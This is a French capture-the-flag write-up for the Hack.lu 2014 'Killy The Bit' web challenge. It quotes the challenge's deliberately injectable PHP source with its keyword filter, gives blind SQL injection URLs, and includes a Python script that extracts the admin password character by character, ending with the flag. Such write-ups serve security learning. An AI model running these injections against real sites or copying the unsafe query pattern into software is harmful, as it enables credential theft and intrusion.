==== HACK.LU 2014 : Killy The Bit ==== '' Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg. All customer of the bank are now advised to change their password for the next release of the bank's website which will be launched on the 23.10.2014 10:01 CEST.\\ \\ Killy the Bit stands in your debt and sent the following link. Can you break the password generation process in order to get access to the admin account? '' ---- On nous fourni la source de l'index : Royal Bank of Fluxembourg"; if(isset($_GET['name']) && $_GET['name']!='' && !preg_match('/sleep|benchmark|and|or|\||&/i',$_GET['name'])) { $res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'"); if(mysql_fetch_object($res)) { // Generation of new password // // this was filtered during the creation of the phps file // die("A new password was generated and sent to your email address!"); } else { $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'"); if(mysql_fetch_object($res)) { echo "We couldn't find your username, but it sounds like this user:
"; } else { die("We couldn't find your username!
Are you sure it is ".htmlspecialchars($_GET['name'],ENT_QUOTES, 'utf-8')."?"); } $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'"); while($row = mysql_fetch_object($res)) { echo $row->name; echo "
"; } } } else { echo "

Royal Bank of Fluxembourg




Dear users,
We were hacked by Killy the Bit! Please use this site to generate your new password. Login will be available on the 23.10.2014 10:01 CEST


"; echo '


'; echo '
Please enter your username:

'; } ?>
Il va s'agir d'injection SQL.\\ On remarque que se succèdent deux requêtes quasi identiques, mais pas vraiment : SELECT name,email FROM user where name='{var name}' SELECT name,email FROM user where name sounds like '{var name}' On a ensuite une troisième requête si la première ne retourne aucun résultat et si la seconde en renvoi un (ou plusieurs) : SELECT name,email FROM user where name sounds like '{var name}' C'est la même que la seconde, mais cette fois-ci sa sortie sera affichée à l'écran. Le dilemme : comment avoir un résultat null pour la première et en avoir pour la seconde?\\ Simplement en mettant ''addmin'' au lieu de ''admin''.\\ Oui mais si on tente un ''union'' pour récupérer la colonne ''passwd'' et l'afficher on va se retrouver avec un résultat et du coup on ne passe plus la première.\\ C'est donc une fausse piste. On va attaquer ça à l'aveugle avec une belle injection qui rox du poney! Voici l'injection qui m'a permis de trouver la longueur du pass de l'admin : https://wildwildweb.fluxfingers.net:1424/ ?name= addmin' union all select concat(user.name,"::",user.passwd,"::",user.email),null from user inner join user as u2 on user.name = 'admin' inner join user as u3 on length(user.passwd) = 59 where user.name = 'admin Bien sûre au début il faut utiliser des comparaisons 'supérieur à' au lieu du 'égal' histoire d'aller plus vite ;) Ensuite il faut trouver chaque lettre, une à une, en aveugle.\\ Voici par exemple la requête indiquant le premier caractère : https://wildwildweb.fluxfingers.net:1424/ ?name= addmin' union all select user.passwd,null from user inner join user as u2 on user.name = 'admin' inner join user as u3 on ascii(mid(user.passwd,1,1)) = f where user.name = 'admin Il ne me reste plus qu'a faire un beau petit script en Python pour automatiser tout ça! # -*- coding: utf-8 -*- ''' HACK.LU CTF 2014 Killy The Bit (Web 200) Python script for blind injection by Krach contact{at}krach.me ''' import sys import signal import re import urllib2 KARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^ `{|}~_" TRUE_KEYWORD = "generated" def signal_handler(signal, frame): print("User abort!") sys.exit(0) if __name__ == "__main__": signal.signal(signal.SIGINT, signal_handler) print "[*] charset : %s" % (KARSET) opener = urllib2.build_opener() recup = "" for i in range(1,65): charfind = False for c in KARSET: URL_BASE = "https://wildwildweb.fluxfingers.net:1424/?name=" URL_ARGS = "addmin' union " \ "all select user.passwd,null from user " \ "inner join user as u2 on user.name = 'admin' " \ "inner join user as u3 on ascii(mid(user.passwd,%d,1)) = %d " \ "where user.name = 'admin" % (i, ord(c)) content = opener.open("%s%s" % (URL_BASE, urllib2.quote(URL_ARGS))).read() m = re.search(TRUE_KEYWORD, content) if(m): charfind = True recup += c print "[+] Char found. [%s]" % (recup) break if not charfind: break print "Done!" Un peu de patience et le tour est joué : \\ ''flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}'' ---- Par **Krach** //(contact{at}krach{dot}me)// ----